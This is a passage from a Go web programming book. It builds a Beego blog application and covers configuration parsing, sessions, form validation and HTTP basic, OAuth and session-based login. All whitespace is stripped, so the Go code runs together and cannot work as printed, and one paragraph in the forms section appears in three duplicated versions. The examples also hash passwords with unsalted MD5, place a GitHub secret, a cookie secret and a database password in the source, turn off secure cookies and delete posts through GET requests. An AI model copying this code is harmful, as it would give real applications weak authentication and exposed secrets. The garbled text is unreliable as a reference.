cfg:=&Config{file.Name(),make(map[int][]string),make(map[string]string),make(map[string]int64),sync.RWMutex{},}cfg.Lock()defercfg.Unlock()deferfile.Close()
varcommentbytes.Bufferbuf:=bufio.NewReader(file)
fornComment,off:=0,int64(1);;{line,_,err:=buf.ReadLine()iferr==io.EOF{break}ifbytes.Equal(line,bEmpty){continue}
off+=int64(len(line))
ifbytes.HasPrefix(line,bComment){line=bytes.TrimLeft(line,"#")line=bytes.TrimLeftFunc(line,unicode.IsSpace)comment.Write(line)comment.WriteByte('\n')continue
}ifcomment.Len()!=0{cfg.comment[nComment]=[]string{comment.String()}comment.Reset()nComment++}
val:=bytes.SplitN(line,bEqual,2)ifbytes.HasPrefix(val[1],bDQuote){val[1]=bytes.Trim(val[1],`"`)}
key:=strings.TrimSpace(string(val[0]))cfg.comment[nComment-1]=append(cfg.comment[nComment-1],key)cfg.data[key]=strings.TrimSpace(string(val[1]))cfg.offset[key]=off}returncfg,nil}
Belowareanumberoffunctionstheparserusesforreadingtheconfigurationfile.Thereturnvalueisdeterminedaseitherabool,int,float64orstring:
//Boolreturnsthebooleanvalueforagivenkey.func(c*Config)Bool(keystring)(bool,error){returnstrconv.ParseBool(c.data[key])}
//Intreturnstheintegervalueforagivenkey.func(c*Config)Int(keystring)(int,error){returnstrconv.Atoi(c.data[key])}
//Floatreturnsthefloatvalueforagivenkey.func(c*Config)Float(keystring)(float64,error){returnstrconv.ParseFloat(c.data[key],64)}
//Stringreturnsthestringvalueforagivenkey.func(c*Config)String(keystring)string{returnc.data[key]
}
Applicationguide
ThefollowingfunctionisanexampleofanapplicationIusedtofetchjsondatafromaremoteurladdress:
funcGetJson(){resp,err:=http.Get(beego.AppConfig.String("url"))iferr!=nil{beego.Critical("httpgetinfoerror")return}deferresp.Body.Close()body,err:=ioutil.ReadAll(resp.Body)err=json.Unmarshal(body,&AllInfo)iferr!=nil{beego.Critical("error:",err)}}
Beego'sCritical()loggingfunctioniscalledtoreportanyerrorswhichmayoccurintheGetJson()function.beego.AppConfig.String("url")isusedtoobtaininformationfromaconfigurationfile(typicallyapp.conf),whichmightlooksomethinglikethefollowing:
appname=hsurl="http://www.api.com/api.html"
Links
DirectoryPrevioussection:DesigningcontrollersNextsection:Adding,deletingandupdatingblogs
13.5Adding,deletingandupdatingblogsWe'vealreadyintroducedtheentireconceptbehindtheBeegoframeworkthroughexamplesandpseudo-code.ThissectionwilldescribehowtoimplementabloggingsystemusingBeego,includingtheabilitytobrowse,add,modifyanddeleteblogposts.
Blogdirectory
Ourblog'sdirectorystructurecanbeseenbelow:
/main.go/views:/view.tpl/new.tpl/layout.tpl/index.tpl/edit.tpl/models/model.go/controllers:/index.go/view.go/new.go/delete.go/edit.go
Blogrouting
Ourblog'smainroutingrulesareasfollows:
//ShowblogHomebeego.RegisterController("/",&controllers.IndexController{})//Viewblogdetailsbeego.RegisterController("/view/:id([0-9]+)",&controllers.ViewCon
troller{})//CreateblogBowenbeego.RegisterController("/new",&controllers.NewController{})//DeleteBowenbeego.RegisterController("/delete/:id([0-9]+)",&controllers.DeleteController{})//EditBowenbeego.RegisterController("/edit/:id([0-9]+)",&controllers.EditController{})
Databasestructure
Atrivialdatabasetabletostorebasicbloginformation:
CREATETABLEentries(idINTAUTO_INCREMENT,titleTEXT,contentTEXT,createdDATETIME,primarykey(id));
Controller
IndexController:
typeIndexControllerstruct{beego.Controller}
func(this*IndexController)Get(){this.Data["blogs"]=models.GetAll()this.Layout="layout.tpl"this.TplNames="index.tpl"}
ViewController:
typeViewControllerstruct{beego.Controller}
func(this*ViewController)Get(){inputs:=this.Input()id,_:=strconv.Atoi(this.Ctx.Params[":id"])this.Data["Post"]=models.GetBlog(id)this.Layout="layout.tpl"this.TplNames="view.tpl"}
NewController
typeNewControllerstruct{beego.Controller}
func(this*NewController)Get(){this.Layout="layout.tpl"this.TplNames="new.tpl"}
func(this*NewController)Post(){inputs:=this.Input()varblogmodels.Blogblog.Title=inputs.Get("title")blog.Content=inputs.Get("content")blog.Created=time.Now()models.SaveBlog(blog)this.Ctx.Redirect(302,"/")}
EditController
typeEditControllerstruct{beego.Controller}
func(this*EditController)Get(){inputs:=this.Input()id,_:=strconv.Atoi(this.Ctx.Params[":id"])this.Data["Post"]=models.GetBlog(id)this.Layout="layout.tpl"this.TplNames="edit.tpl"}
func(this*EditController)Post(){inputs:=this.Input()varblogmodels.Blogblog.Id,_=strconv.Atoi(inputs.Get("id"))blog.Title=inputs.Get("title")blog.Content=inputs.Get("content")blog.Created=time.Now()models.SaveBlog(blog)this.Ctx.Redirect(302,"/")}
DeleteController
typeDeleteControllerstruct{beego.Controller}
func(this*DeleteController)Get(){id,_:=strconv.Atoi(this.Ctx.Params[":id"])blog:=models.GetBlog(id)this.Data["Post"]=blogmodels.DelBlog(blog)this.Ctx.Redirect(302,"/")}
Modellayer
packagemodels
import("database/sql"
"github.com/astaxie/beedb"_"github.com/ziutek/mymysql/godrv""time")
typeBlogstruct{Idint`PK`TitlestringContentstringCreatedtime.Time}
funcGetLink()beedb.Model{db,err:=sql.Open("mymysql","blog/astaxie/123456")iferr!=nil{panic(err)}orm:=beedb.New(db)returnorm}
funcGetAll()(blogs[]Blog){db:=GetLink()db.FindAll(&blogs)return}
funcGetBlog(idint)(blogBlog){db:=GetLink()db.Where("id=?",id).Find(&blog)return}
funcSaveBlog(blogBlog)(bgBlog){db:=GetLink()db.Save(&blog)returnbg}
funcDelBlog(blogBlog){db:=GetLink()db.Delete(&blog)return}
Viewlayer
layout.tpl
<html><head><title>MyBlog</title><style>#menu{width:200px;float:right;}</style></head><body>
<ulid="menu"><li><ahref="/">Home</a></li><li><ahref="/new">NewPost</a></li></ul>
{{.LayoutContent}}
</body></html>
index.tpl
<h1>Blogposts</h1>
<ul>{{range.blogs}}<li><ahref="/view/{{.Id}}">{{.Title}}</a>from{{.Created}}<ahref="/edit/{{.Id}}">Edit</a><ahref="/delete/{{.Id}}">Delete</a></li>{{end}}</ul>
view.tpl
<h1>{{.Post.Title}}</h1>{{.Post.Created}}<br/>
{{.Post.Content}}
new.tpl
<h1>NewBlogPost</h1><formaction=""method="post">Title:<inputtype="text"name="title"><br>Content<textareaname="content"colspan="3"rowspan="10"></textarea>
<inputtype="submit"></form>
edit.tpl
<h1>Edit{{.Post.Title}}</h1>
<h1>NewBlogPost</h1><formaction=""method="post">Title:<inputtype="text"name="title"value="{{.Post.Title}}"><br>Content<textareaname="content"colspan="3"rowspan="10">{{.Post.Content}}</textarea><inputtype="hidden"name="id"value="{{.Post.Id}}"><inputtype="submit"></form>
Links
DirectoryPrevioussection:LogsandconfigurationsNextsection:Summary
13.6SummaryInthischapter,wedescribedhowtoimplementthemajorcomponentsofaGowebframework.WefirstdesignedaroutertomakeupforsomeofshortcomingsinGo'sbuilt-inhttppackage,creatingaroutercapableofdynamicroutingandRESTsupport.WealsodesignedourownRESTfulControllerclassinaccordwiththeprinciplesofMVC,borrowingideasfromframeworkssuchasTornado.Next,wedesignedandimplementedatemplatelayoutandautomatedrenderingsystem,mainlyusingGo'sbuilt-intemplatingengine.Wethenimplementedacustomloggerandtalkedaboutframeworkconfigurationtoallowforflexibleapplicationdeployment.Throughthisprocess,wehaveimplementedabasicwebframeworkcalledBeegowhich,atpresent,hasbeenopen-sourcedonGithub.Lastly,weimplementedasimplebloggingapplicationontopofBeego.Afterhavinggonethroughalloftheseexamples,youwillhopefullyhavelearnedhowtoquicklydevelopwebsitesinGo.
Links
DirectoryPrevioussection:Add,deleteandupdateblogsNextchapter:Developwebframework
14DevelopingawebframeworkChapter13describedhowtodevelopawebframeworkinGo.WeintroducedtheMVCarchitecture,aroutingandloggingsystemsystem,andwealsolookedatsimpleserverconfiguration.Thesearethebasicbuildingblocksofmostframeworks,andit'sagoodstart.However,formoresophisticatedneeds,someauxiliarytoolsareneededtofacilitaterapidwebsitedevelopment.Inthischapter,wewillprovidesomequicktipsandtoolsforspeedingupdevelopment.Thefirstsectionwillcoverthehow-to'showprocessingstaticfilesandwewillbeusingTwitter'sopensourceCSSand
JavascriptframeworkcalledBootstrapforbeautifyingourwebsite.Thesecondsectiondescribeshowtousethepreviouslydescribesessionsforuserloginprocessing.Next,thethirdsectiondescribeshowtogenerateforms,andhowtoprocesstheseformsforvaliddata.WewillalsotalkabouthowtobindmodelsforCRUDoperations.Insection4,we'lldescribehowtoperformsomeuserauthenticationincludingbasicHTTPauthenticationandHTTPdigestauthentication.Finally,thelastsectionwilltalkaboutimplementingthepreviouslydescribedi18n,tosupportmulti-lingualwebapplications.
ByextendingBeegointhischapter,wewillbeabletorapidlydevelopfullstackwebapplications.Ofcourse,we'llgothroughthefeaturesoftheseextensionsstepbystep,applyingthemtothebloggingsystemwedevelopedinChapter13.Throughthedevelopmentofacompleteandbeautifulbloggingsystem,userswillhopefullybeabletoseehowBeegocanhelptoboostdeveloperproductivity.
Links
DirectoryPreviouschapter:Chapter13summaryNextsection:Staticfiles
14.1StaticfilesWe'vealreadytalkedabouthowtodealwithstaticfilesinprevioussections.Now,let'slookathowtosetupandusestaticfilesinsideofBeego.Then,throughintroducingTwitter'sopensourceHTMLandCSSframeworkBootstrap,we'llbeablequicklycreatebeautifullookingwebsiteswithouthavingtodomuchdesignwork.o
Beegostaticfilesandsettings
Go'snet/httppackageprovidesastaticfileserverwithfunctionssuchasServeFileandFileServer.Beego'sstaticfilehandlingisbasedonthislayer,anditsspecificimplementationisasfollow:
//staticfileserverforprefix,staticDir:=rangeStaticDir{ifstrings.HasPrefix(r.URL.Path,prefix){file:=staticDir+r.URL.Path[len(prefix):]http.ServeFile(w,r,file)w.started=truereturn}}
StaticDirstorestheURLwhichcorrespondstoastaticfiledirectory,sowhenhandlingrequests,wesimplyneedtodeterminewhetherornottheURLbeginswithastaticfilepath.Ifso,wecansimplyrespondusinghttp.ServeFile.
Thefollowingisanexample:
beego.StaticDir["/asset"]="/static"
Then,arequestwithaURLsuchashttp://www.beego.me/asset/bootstrap.csswillresultin/static/bootstrap.cssbeingservedtotheclient.
Bootstrapintegration
BootstrapisaTwitterlaunchedopensourceToolkitforfront-enddevelopment.Fordevelopers,BootstrapisoneofthebestfrontendkitsforrapidWebapplicationdevelopment.ItisacollectionofHTML,CSSandjavascriptcomponents,usingthelatestHTML5standards.Theseincludearesponsivegrid,forms,buttons,tables,andmanyotherusefulthings.
ComponentsBootstrapcontainsawealthofWebcomponents.Usingthesecomponents,youcanquicklybuildabeautiful,fullyfunctionalwebsite.Whichincludesthefollowingcomponents:Pull-downmenus,buttongroups,buttondrop-downmenus,navigation,navigationbars,breadcrumbs,pagination,layout,thumbnails,warningdialogs,progressbars,andothermediaobjectsJavaScriptpluginsBootstrapcomeswith13jQueryplug-insforBootstrapcomponents,whichgivesthem"life".Theseinclude:Modaldialogs,tabs,scrollbars,pop-upboxesandsoon.BootstrapframeworkcustomizationAllBootstrapcssvariablescanbemodifiedaccordingtoyourneeds
Figure14.1abootstrapwebsite
Next,let'sseehowwecanuseBootstrapinsideourBeegoapplicationtoquicklycreateabeautifulwebsite:
1. First,let'sdownloadthebootstrapdirectoryintoourproject'sstaticdirectory,asshowninthefollowingscreenshot:
Figure14.2Projectstaticfiledirectorystructure
2. BecauseBeegosetsadefaultvalueforStaticDir,ifyourstaticfilesdirectoryisstatic,thenyouneednotgoanyfurther:
StaticDir["/static"]="static"
3. Ourtemplatesusethefollowingassetpaths:
//cssfile<linkhref="/static/css/bootstrap.css"rel="stylesheet">
//jsfile<scriptsrc="/static/js/bootstrap-transition.js"></script>
//Picturefiles<imgsrc="/static/img/logo.png">
Withtheabovecode,weareintegratingBootstrapintoourBeegoapplication.Thefigurebelowdemonstratestherenderedpage:
Figure14.3websiteintegratedwithBootstrap
ThesetemplatesandformatsarecomeshippedwithBootstrapsowewon'trepeatthecompletecodehere,howeveryoucantakealookattheproject'sofficialpagetolearnhowtowriteyourowntemplates.
Links
DirectoryPrevioussection:DevelopingawebframeworkNextsection:Sessions
14.2SessionsInchapter6,weintroducedsomebasicconceptspertainingtosessionsinGo,andweimplementedasessionsmanager.TheBeegoframeworkusesthissessionmanagertoimplementsomeconvenientsessionhandlingfunctionality.
Integratingsessions
Beegohandlessessionsmainlyaccordingtothefollowingglobalvariables:
//relatedtosessionSessionOnbool//whetherornottoopenthesessionmodule.Defaultstofalse.SessionProviderstring//thedesiredsessionbackendprocessingmodule.Defaultstoanin-memorysessionManagerSessionNamestring//thenameoftheclientsavedcookiesSessionGCMaxLifetimeint64//cookievalidity
GlobalSessions*session.Manager//globalsessioncontroller
Ofcourse,theabovevaluesofthesevariablesneedtobeinitialized.Youcanalsousethevaluesfromthefollowingconfigurationfilecodetosetthesevalues:
ifar,err:=AppConfig.Bool("sessionon");err!=nil{SessionOn=false}else{SessionOn=ar}ifar:=AppConfig.String("sessionprovider");ar==""{SessionProvider="memory"}else{SessionProvider=ar}ifar:=AppConfig.String("sessionname");ar==""{SessionName="beegosessionID"}else{SessionName=ar}ifar,err:=AppConfig.Int("sessiongcmaxlifetime");err!=nil&&ar!=0{int64val,_:=strconv.ParseInt(strconv.Itoa(ar),10,64)SessionGCMaxLifetime=int64val}else{SessionGCMaxLifetime=3600}
Addthefollowingcodeinthebeego.Runfunction:
ifSessionOn{GlobalSessions,_=session.NewManager(SessionProvider,SessionName,SessionGCMaxLifetime)goGlobalSessions.GC()}
AslongasSessionOnissettotrue,itwillopenthesessionbydefaultwithanindependentgoroutinesessionhandler
InordertofacilitateourcustomControllerquicklyusingsession,theauthorbeego.Controllerprovidesthefollowingmethods:
ToassistusinquicklyusingsessionsinacustomController,beego.Controllerprovidesthefollowingmethod:
func(c*Controller)StartSession()(sesssession.Session){sess=GlobalSessions.SessionStart(c.Ctx.ResponseWriter,c.Ctx.Request)return}
Usingsessions
Fromthecodeabove,wecanseethattheBeegoframeworksimplyinheritsitssessionfunctionality.So,howdoweuseitinourprojects?
Firstofall,weneedtoopenthesessionattheentrypointofourapplication.
beego.SessionOn=true
Wecanthenusethecorrespondingsessionmethodinsideourcontrollerlike
so:
func(this*MainController)Get(){varintcountintsess:=this.StartSession()count:=sess.Get("count")ifcount==nil{intcount=0}else{intcount=count.(int)}intcount=intcount+1sess.Set("count",intcount)this.Data["Username"]="astaxie"this.Data["Email"]="[email protected]"this.Data["Count"]=intcountthis.TplNames="index.tpl"}
Thecodeaboveshowshowtousesessionsinthecontrollerlogic.Theprocesscanbedividedintotwosteps:
1. Gettingsessionobject
//Gettheobject,similarinPHPsession_start()sess:=this.StartSession()
2. Usingthesessionforgeneraloperations
//Getthesessionvalues,similarinPHP$_SESSION["count"]
sess.Get("count")
//Setthesessionvaluesess.Set("count",intcount)
Asyoucansee,applicationsbasedontheBeegoframeworkcaneasily
implementsessions.Theprocessisverysimilartocallingsession_start()inPHPapplications.
Links
DirectoryPrevioussection:StaticfilesNextsection:Forms
14.3FormsInwebdevelopment,thefollowingworkflowwillprobablylookquitefamiliar:
OpenawebpageshowingaformUsersfilloutandsubmittheformIfausersubmitssomeinvalidinformationorhasneglectedtofilloutarequiredfield,theformwillbereturnedtotheuser(alongwiththefilledindata)withsomedescriptiveinformationabouttheproblem.Usersre-filltheinvalidfieldsandcontinueattemptingtosubmittheformuntilit'saccepted
Atthereceivingend,thescriptmust:
Checktheusersubmittedformdata.Verifywhetherthedataisthecorrecttypeandoftheappropriatestandard.Forexample,ifausernameissubmitted,itmustverifythatitcontainsonlyvalidcharacters.Otherexampleswouldbecheckingforminimumandmaximumlengths,usernameuniqueness,andsoon.Filteringdataandcleaningupunsafecharacterstoguaranteethatourapplicationonlyprocessesdatawhichissafe.Ifnecessary,pre-formatthedata(ordatagapsneedtobeclearedthroughtheHTMLcodingandsoon.)Preparethedataforinsertionintothedatabase
Althoughtheprocedureisnotverycomplex,itusuallyrequiresalotofboilerplate.Inaddition,webapplicationsoftenuseavarietyofdifferentcontrolstructurestodisplayerrormessagesonreturnedpages.Implementingformvalidationisasimplebutboringtask.
Formsandvalidation
Fordevelopers,thegeneraldevelopmentprocesscanbequitecomplex,butit'smostlyrepetitivework.Supposeascenarioariseswhereyousuddenlyneedtoaddaformtoyourproject,causingyoutorewriteallofthelocalcodetiedinwiththeform.WeknowthatstructsareaverycommonlyuseddatastructureinGo,andBeegousesthemtoitsadvantageforprocessingforminformation.
First,wedefineastructwithfieldscorrespondingtothefieldsinourformelement.Wecanusestructtagswhichmaptotheformelement,asshownbelow:
FirstdefineastructthatcorrespondstowhendevelopingWebapplications,afieldcorrespondingtoaformelement,definedbyusingastructtagcorrespondingtotheelementinformationandauthenticationinformation,asshownbelow:
Fordevelopers,thegeneraldevelopmentprocessisverycomplex,andmostlyarerepeatingthesamework.Assumingascenarioprojectsuddenlyneedtoaddaformdata,thenthelocalcodeoftheentireprocessneedstobemodified.WeknowthatGoinsideastructisacommondatastructure,sobeegotheformstructusedtoprocessforminformation.
Firstdefineastructwithfieldscorrespondingtoourformelement,usingstructtagstodefinecorrespondingelementandauthenticationinformation,likeso:
typeUserstruct{Usernamestring`form:text,valid:required`Nicknamestring`form:text,valid:required`
Ageint`form:text,valid:required|numeric`Emailstring`form:text,valid:required|valid_email`Introducestring`form:textarea`}
Afterdefiningourstruct,wecanaddthisactioninourcontroller:
func(this*AddController)Get(){this.Data["form"]=beego.Form(&User{})this.Layout="admin/layout.html"this.TplNames="admin/add.tpl"}
Theformisdisplayedinourtemplatelikeso:
<h1>NewBlogPost</h1><formaction=""method="post">{{.form.render()}}</form>
Above,we'vedefinedtheentirefirststepofdisplayingaformmappedtoastruct.Thenextstepisforuserstofillintheirinformationandsubmittheform,afterwhichtheserverwillreceivethedataandverifyit.Finally,therecordwillbeinsertedintothedatabase.
func(this*AddController)Post(){varuserUserform:=this.GetInput(&user)if!form.Validates(){return}models.UserInsert(&user)this.Ctx.Redirect(302,"/admin/index")}
Formtype
Thefollowingtableliststhecorrespondingformelementinformation:
<tablecellpadding="0"cellspacing="1"border="0"style="width:100%"class="tableborder"><tbody><tr><th>Name</th><th>parameter</th><th>Description</th></tr><tr><tdclass="td"><strong>text</strong></td><tdclass="td">No</td><tdclass="td">textboxinputbox</td></tr>
<tr><tdclass="td"><strong>button</strong></td><tdclass="td">No</td><tdclass="td">button</td></tr>
<tr><tdclass="td"><strong>checkbox</strong></td><tdclass="td">No</td><tdclass="td">multi-selectbox</td></tr>
<tr><tdclass="td"><strong>dropdown</strong></td><tdclass="td">No</td><tdclass="td">drop-downselectionbox</td></tr>
<tr><tdclass="td"><strong>file</strong></td>
<tdclass="td">No</td><tdclass="td">fileupload</td></tr>
<tr><tdclass="td"><strong>hidden</strong></td><tdclass="td">No</td><tdclass="td">hiddenelements</td></tr>
<tr><tdclass="td"><strong>password</strong></td><tdclass="td">No</td><tdclass="td">passwordinputbox</td></tr>
<tr><tdclass="td"><strong>radio</strong></td><tdclass="td">No</td><tdclass="td">singlebox</td></tr>
<tr><tdclass="td"><strong>textarea</strong></td><tdclass="td">No</td><tdclass="td">textinputbox</td></tr></tbody></table>
Formvalidation
ThefollowingtablelistssomeformvalidationrulesnativetoBeegothatcanbeused:
<tablecellpadding="0"cellspacing="1"border="0"style="width:100%"class="tableborder"><tbody>
<tr><th>rules</th><th>parameter</th><th>Description</th><th>Example</th></tr>
<tr><tdclass="td"><strong>required</strong></td><tdclass="td">No</td><tdclass="td">Iftheelementisempty,itreturnsFALSE</td><tdclass="td"></td></tr>
<tr><tdclass="td"><strong>matches</strong></td><tdclass="td">Yes</td><tdclass="td">iftheformelement'svaluewiththecorrespondingformfieldparametervaluesarenotequal,thenreturnFALSE</td><tdclass="td">matches[form_item]</td></tr>
<tr>
<tdclass="td"><strong>is_unique</strong></td>
<tdclass="td">Yes</td>
<tdclass="td">iftheformelement'svaluewiththespecifiedfieldinatablehaveduplicatedata,itreturnsFalse(Translator'sNote:Forexampleis_unique[User.Email],thenthevalidationclasswilllookfortheUsertableintheEmailfieldthereisnoformelementswiththesamevalue,suchasdepositrepeat,itreturnsfalse,sodevelopersdonothavetowriteanotherCallbackverificationcode.)</td>
<tdclass="td">is_unique[table.field]</td></tr>
<tr><tdclass="td"><strong>min_length</strong></td><tdclass="td">Yes</td><tdclass="td">formelementvaluesifthecharacterlengthislessthanthenumberdefinedparameters,itreturnsFALSE</td><tdclass="td">min_length[6]</td></tr>
<tr><tdclass="td"><strong>max_length</strong></td><tdclass="td">Yes</td><tdclass="td">iftheformelement'svalueisgreaterthanthelengthofthecharacterdefinednumericargument,itreturnsFALSE</td><tdclass="td">max_length[12]</td></tr>
<tr><tdclass="td"><strong>exact_length</strong></td><tdclass="td">Yes</td><tdclass="td">iftheformelementvaluesandparametersdefinedcharacterlengthnumberdoesnotmatch,itreturnsFALSE</td><tdclass="td">exact_length[8]</td></tr>
<tr>
<tdclass="td"><strong>greater_than</strong></td>
<tdclass="td">Yes</td>
<tdclass="td">Iftheformelementvaluesnon-numerictypes,orlessthanthevaluedefinedparameters,itreturnsFALSE</td>
<tdclass="td">greater_than[8]</td></tr>
<tr>
<tdclass="td"><strong>less_than</strong>
</td>
<tdclass="td">Yes</td>
<tdclass="td">Iftheformelementvaluesnon-numerictypes,orgreaterthanthevaluedefinedparameters,itreturnsFALSE</td>
<tdclass="td">less_than[8]</td></tr>
<tr><tdclass="td"><strong>alpha</strong></td><tdclass="td">No</td><tdclass="td">Iftheformelementvaluecontainscharactersotherthanlettersbesides,itreturnsFALSE</td><tdclass="td"></td></tr>
<tr><tdclass="td"><strong>alpha_numeric</strong></td><tdclass="td">No</td><tdclass="td">Iftheformelementvaluescontainedinadditiontolettersandothercharactersotherthannumbers,itreturnsFALSE</td><tdclass="td"></td></tr>
<tr><tdclass="td"><strong>alpha_dash</strong></td><tdclass="td">No</td><tdclass="td">Iftheformelementvaluecontainsinadditiontotheletter/number/underline/charactersotherthandash,returnsFALSE</td><tdclass="td"></td></tr>
<tr><tdclass="td"><strong>numeric</strong></td><tdclass="td">No</td><tdclass="td">Iftheformelementvaluecontainscharactersotherthannumbersinaddition,itreturnsFALSE</td>
<tdclass="td"></td></tr>
<tr><tdclass="td"><strong>integer</strong></td><tdclass="td">No</td><tdclass="td">exceptiftheformelementcontainscharactersotherthananinteger,itreturnsFALSE</td><tdclass="td"></td></tr>
<tr>
<tdclass="td"><strong>decimal</strong></td>
<tdclass="td">Yes</td>
<tdclass="td">Iftheformelementtype(non-decimal)isnotcomplete,itreturnsFALSE</td>
<tdclass="td"></td></tr>
<tr><tdclass="td"><strong>is_natural</strong></td><tdclass="td">No</td><tdclass="td">valueiftheformelementcontainsanumberofotherunnaturalvalues(othervaluesexcludingzero),itreturnsFALSE.Naturalnumberslikethis:0,1,2,3....andsoon.</td><tdclass="td"></td></tr>
<tr><tdclass="td"><strong>is_natural_no_zero</strong></td><tdclass="td">No</td><tdclass="td">valueiftheformelementcontainsanumberofotherunnaturalvalues(othervaluesincludingzero),itreturnsFALSE.Nonzeronaturalnumbers:1,2,3.....andsoon.</td><tdclass="td"></td>
</tr>
<tr><tdclass="td"><strong>valid_email</strong></td><tdclass="td">No</td><tdclass="td">Iftheformelementvaluecontainsinvalidemailaddress,itreturnsFALSE</td><tdclass="td"></td></tr>
<tr><tdclass="td"><strong>valid_emails</strong></td><tdclass="td">No</td><tdclass="td">formelementvaluesifanyonevaluecontainsinvalidemailaddress(addressesseparatedbycommasinEnglish),itreturnsFALSE.</td><tdclass="td"></td></tr>
<tr><tdclass="td"><strong>valid_ip</strong></td><tdclass="td">No</td><tdclass="td">iftheformelement'svalueisnotavalidIPaddress,itreturnsFALSE.</td><tdclass="td"></td></tr>
<tr><tdclass="td"><strong>valid_base64</strong></td><tdclass="td">No</td><tdclass="td">iftheformelement'svaluecontainsthebase64-encodedcharactersinadditiontootherthanthecharacters,returnsFALSE.</td><tdclass="td"></td></tr>
</tbody></table>
Links
DirectoryPrevioussection:SessionsNextsection:Uservalidation
14.4UservalidationIntheprocessofdeveloppingwebapplications,userauthenticationisaproblemwhichdevelopersfrequentlyencounter.Userlogin,registrationandlogout,amongotheroperations,aswellasgeneralauthenticationcanalsodividedintothreeparts:
HTTPBasic,andHTTPDigestAuthenticationThirdPartyAuthenticationIntegration:QQ,micro-blogging,watercress,OPENID,Google,GitHub,Facebookandtwitter,etc.Customuserlogin,registration,logout,aregenerallybasedonsessionsandcookieauthentication
Beegodoesnotnativelyprovidesupportforanyofthesethreethings,howeveryoucaneasilymakeuseofexistingthirdpartyopensourcelibrariestoimplementthem.ThefirsttwoauthenticationsolutionsareonBeego'sroadmaptoeventuallybeintegrated.
HTTPbasicanddigestauthentication
BothHTTPbasicanddigestauthenticationarerelativelysimpletechniquescommonlyusedbywebapplications.Therearealreadymanyopensourcethird-partylibrarieswhichsupportthesetwoauthenticationmethods,suchas:
github.com/abbot/go-http-auth
Thefollowingcodedemonstrateshowtousethislibrarytoimplement
authenticationinaBeegoapplication:
packagecontrollers
import("github.com/abbot/go-http-auth""github.com/astaxie/beego")
funcSecret(user,realmstring)string{ifuser=="john"{//passwordis"hello"return"$1$dlPL2MqE$oQmn16q49SqdmhenQuNgs1"}return""}
typeMainControllerstruct{beego.Controller}
func(this*MainController)Prepare(){a:=auth.NewBasicAuthenticator("example.com",Secret)ifusername:=a.CheckAuth(this.Ctx.Request);username==""{a.RequireAuth(this.Ctx.ResponseWriter,this.Ctx.Request)}}
func(this*MainController)Get(){this.Data["Username"]="astaxie"this.Data["Email"]="[email protected]"this.TplNames="index.tpl"}
TheabovecodetakesadvantageofBeego'sprepare()functiontoperformauthenticationbeforeallowingthenormalflowofexecutiontoproceed;asyoucansee,it'sverysimpletoimplementHTTPauthentication.Digestauthenticationcanbeimplementedinmuchthesameway.
OAuthandOAuth2authentication
OAuthandOAuth2arecurrentlytwoofthemostpopularauthenticationmethods.Fortunately,therearethird-partylibrarieswhichimplementthistypeofauthenticationsuchasthego.authpackageavailableongithub.
github.com/bradrydzewski/go.auth
ThecodebelowdemonstrateshowtousethislibrarytoimplementOAuthauthenticationinBeegousingourGithubcredentials:
1. Let'saddsomeroutes
beego.RegisterController("/auth/login",&controllers.GithubController{})beego.RegisterController("/mainpage",&controllers.PageController{})
2. ThenwedealwiththeGithubControllerlandingpage:
packagecontrollers
import("github.com/astaxie/beego""github.com/bradrydzewski/go.auth")
const(githubClientKey="a0864ea791ce7e7bd0df"githubSecretKey="a0ec09a647a688a64a28f6190b5a0d2705df56ca")
typeGithubControllerstruct{beego.Controller}
func(this*GithubController)Get(){//settheauthparametersauth.Config.CookieSecret=[]byte("7H9xiimk2QdTdYI7rDddfJe
V")auth.Config.LoginSuccessRedirect="/mainpage"auth.Config.CookieSecure=false
githubHandler:=auth.Github(githubClientKey,githubSecretKey)
githubHandler.ServeHTTP(this.Ctx.ResponseWriter,this.Ctx.Request)}
3. Handlingafterasuccessfullandingpage:
packagecontrollers
import("github.com/astaxie/beego""github.com/bradrydzewski/go.auth""net/http""net/url")
typePageControllerstruct{beego.Controller}
func(this*PageController)Get(){//settheauthparametersauth.Config.CookieSecret=[]byte("7H9xiimk2QdTdYI7rDddfJeV")auth.Config.LoginSuccessRedirect="/mainpage"auth.Config.CookieSecure=false
user,err:=auth.GetUserCookie(this.Ctx.Request)
//ifnoactiveusersessionthenauthorizeuseriferr!=nil||user.Id()==""{http.Redirect(this.Ctx.ResponseWriter,this.Ctx.Request,auth.Config.LoginRedirect,http.StatusSeeOther)return}
//else,addtheusertotheURLandcontinuethis.Ctx.Request.URL.User=url.User(user.Id())
this.Data["pic"]=user.Picture()this.Data["id"]=user.Id()this.Data["name"]=user.Name()this.TplNames="home.tpl"}
Thewholeprocessisasfollows:
firstopenyourbrowserandentertheaddress:
Figure14.4showsthehomepagewithaloginbutton
Whenclickingonthelink,thefollowingscreenappears:
Figure14.5displayedafterclickingtheloginbuttontoauthenticatewithyour
GitHubcredentials
Afterclicking"Authorizeapp",thefollowingscreenappears:
Figure14.6authorizedGithubinformationgetsdisplayedaftertheloginpage
Customauthentication
Customauthenticationisgenerallycombinedwithsessionauthentication;thefollowingcodeisaBeegobasedopensourceblogwhichdemonstratesthis:
//Loginprocessfunc(this*LoginController)Post(){this.TplNames="login.tpl"this.Ctx.Request.ParseForm()username:=this.Ctx.Request.Form.Get("username")password:=this.Ctx.Request.Form.Get("password")md5Password:=md5.New()io.WriteString(md5Password,password)buffer:=bytes.NewBuffer(nil)fmt.Fprintf(buffer,"%x",md5Password.Sum(nil))newPass:=buffer.String()
now:=time.Now().Format("2006-01-0215:04:05")
userInfo:=models.GetUserInfo(username)ifuserInfo.Password==newPass{varusersmodels.Userusers.Last_logintime=now
models.UpdateUserInfo(users)
//Setthesessionsuccessfulloginsess:=globalSessions.SessionStart(this.Ctx.ResponseWriter,this.Ctx.Request)sess.Set("uid",userInfo.Id)sess.Set("uname",userInfo.Username)
this.Ctx.Redirect(302,"/")}}
//Registrationprocessfunc(this*RegController)Post(){this.TplNames="reg.tpl"this.Ctx.Request.ParseForm()username:=this.Ctx.Request.Form.Get("username")password:=this.Ctx.Request.Form.Get("password")usererr:=checkUsername(username)fmt.Println(usererr)ifusererr==false{this.Data["UsernameErr"]="Usernameerror,Pleasetoagain"
return}
passerr:=checkPassword(password)ifpasserr==false{this.Data["PasswordErr"]="Passworderror,Pleasetoagain"
return}
md5Password:=md5.New()io.WriteString(md5Password,password)buffer:=bytes.NewBuffer(nil)fmt.Fprintf(buffer,"%x",md5Password.Sum(nil))newPass:=buffer.String()
now:=time.Now().Format("2006-01-0215:04:05")
userInfo:=models.GetUserInfo(username)
ifuserInfo.Username==""{varusersmodels.Userusers.Username=username
users.Password=newPassusers.Created=nowusers.Last_logintime=nowmodels.AddUser(users)
